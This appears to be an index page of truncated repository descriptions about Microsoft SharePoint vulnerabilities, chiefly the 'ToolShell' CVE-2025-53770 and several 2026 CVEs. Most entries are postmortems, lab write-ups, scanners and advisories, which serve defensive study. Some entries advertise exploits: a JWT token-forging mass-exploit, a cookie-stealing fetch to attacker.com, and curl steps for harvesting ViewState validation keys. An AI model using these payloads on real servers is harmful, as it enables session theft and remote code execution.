sharepoint-toolshell-micro-postmortem

Incident Micro-Postmortem — Microsoft SharePoint On-Prem “ToolShell” Campaign This kit triages the mid-2025 “ToolShell” zero-day campaign against on-premises Microsoft SharePoint Server; SharePoint Online is out of scope. It delivers end-to-end reproducible hunts, comms, and figures without relyi...

CVE-2026-55040

CVE-2026-55040 Exploit code for CVE-2026-55040, it can create auth header for any validate account. Details at: https://blog.viettelcybersecurity.com/sharepoint-cve-2026-55040/...

LetsDefend--SOC-342-CVE-2025-53770-SharePoint-Exploit-ToolShell

LetsDefend--SOC-342-CVE-2025-53770-SharePoint-Exploit-ToolShell Introduction I went into a SharePoint zero-day called ToolShell CVE-2025-53770 in the LetsDefend lab. I mimicked a real-world zero-day attack where a malicious POST request bypassed auth, ran PowerShell to steal MachineKeySection key...

CVE-2026-50522

🛡️ CVE-2026-50522 — Microsoft SharePoint RCE Investigation Critical SharePoint Deserialization Vulnerability Under Active Exploitation Created by Pratik Chhetri Report Date: 2026-07-27 📌 Executive Snapshot Field| Finding ---|--- Vulnerability| CVE-2026-50522 Product| Microsoft SharePoint Server...

Microsoft SharePoint - Remote Code Execution

Microsoft SharePoint is vulnerable to a remote code execution when the software fails to check the source markup of an application package. id: CVE-2020-16952 info: name: Microsoft SharePoint - Remote Code Execution author: dwisiswant0 severity: high description: Microsoft SharePoint is vulnerabl...

ToolShellFinder

🛠️ ToolShellFinder: CVE-2025-53770 & CVE-2025-53771 Detection A high-performance PowerShell 7+ script for scanning IIS logs to detect signs of exploitation related to ToolShell , specifically targeting the zero-day vulnerabilities CVE-2025-53770 and CVE-2025-53771 in Microsoft SharePoint. This...

CVE-2026-55040

Microsoft SharePoint JWT Authentication Bypass CVE-2026-55040 Overview CVE-2026-55040.py is a proof-of-concept script to leverage the SharePoint authentication bypass vulnerability, CVE-2026-55040. For a full technical analysis, see our Rapid7 Analysis. Usage $ python CVE-2026-55040.py --help...

mssharepoint-scanner

MS SharePoint Scanner A single-file, dependency-free defensive tool for Microsoft SharePoint that combines service discovery single or bulk with CVE assessment for two critical on-premises vulnerabilities: CVE-2026-55040 Critical 9.1 — JWT token authentication bypass CVE-2026-63520 High 8.1 —...

MS-SharePoint-July-Patch-RCE-PoC

MS-SharePoint-July-Patch-RCE-PoC PoC for: CVE-2024-38094 CVE-2024-38024 CVE-2024-38023 PoC Video: https://youtu.be/u8mccaakISw...

CVE-2025-53770-Scanner

🛡️ CVE-2025-53770 SharePoint Vulnerability Scanner A Python-based tool to detect vulnerable Microsoft SharePoint instances affected by CVE-2025-53770 , an insecure deserialization vulnerability triggered via the ToolPane.aspx endpoint. The scanner sends a crafted, compressed ViewState payload to...

ToolShell-CVE-2025-53770-SharePoint-Exploit-Lab-LetsDefend

ToolShell-CVE-2025-53770-SharePoint-Exploit-Lab-LetsDefend TL;DR Yo, in this LetsDefend lab I dove into a SharePoint zero-day called ToolShell CVE-2025-53770. Basically, I mimicked a real-world attack where a malicious POST request bypassed auth, ran PowerShell to steal MachineKeySection keys,...

CVE-2026-108452

Improper limitation of a pathname to a restricted directory 'path traversal' in Microsoft Office SharePoint allows an authorized attacker to execute code over a network...

SharePoint-ToolShell-CVE-2025-53770-Incident-Analysis

SharePoint ToolShell CVE-2025-53770 Incident Analysis Overview This project documents the investigation of a real-world exploitation attempt targeting a SharePoint server using the ToolShell vulnerability CVE-2025-53770. The attack demonstrates a full exploitation chain including remote code...

EUVD-2026-102464

Improper limitation of a pathname to a restricted directory 'path traversal' in Microsoft Office SharePoint allows an authorized attacker to execute code over a network...

CVE-2026-108452

A path traversal vulnerability (CWE-22) exists in Microsoft Office SharePoint , where improper limitation of a pathname to a restricted directory allows an authorized attacker to execute code over a network . The vulnerability is associated with the security update for SharePoint Server Subscript...

CVE-2026-55040-Mass-Exploit

JWT Token Bypass Exploit for Microsoft SharePoint CVE-2026-55040, CVSS 9.1. Forge authentication tokens using three attack vectors: Algorithm "none" skips signature verification Weak HS256 secrets with brute-force dictionary support RS256 key substitution Impersonate any user including...

CVE-2023-29357-Check

CVE-2023-29357 Microsoft SharePoint Server Elevate Privilege Vulnerability This script will tell you if the target is vulnerable to CVE-2023-29357 Usage python3 script.py Disclaimer This script is for educational purposes only. Do not use it against targets without prior mutual consent. Reference...

CVE-2026-32201-exploit

Overview Python exploit for CVE-2026-32201 - improper input validation в Microsoft SharePoint Server, allowing unauthenticated network spoofing C:L/I:L. Affected: SharePoint Server 2016 Enterprise, 2019, Subscription Edition fetch'http://attacker.com/?c='+document.cookie" \ --endpoint...

cve-2025-53770-research

cve-2025-53770-research 🚨 Threat intel & incident response research on SharePoint "ToolShell" RCE zero-day CVE-2025-53770. 🕵️‍♂️ Covers root-cause deserialization flaws, attack timelines, risk metrics, and defensive EDR validation playbooks. 🛡️ 🕵️ CVE-2025-53770 — SharePoint "ToolShell" Zero-Day...

CVE-2025-53770-Exploit

CVE-2025-53770-Exploit First, get the VIEWSTATEGENERATOR, VALIDATIONKEY, VALIDATIONALG value from the target SharePoint page: curl -s https://target.com/layouts/15/start.aspx | grep -oP 'VIEWSTATEGENERATOR" value="\K^"+' curl https://target.com/layouts/15/spinstall0.aspx Then, create a PowerShell...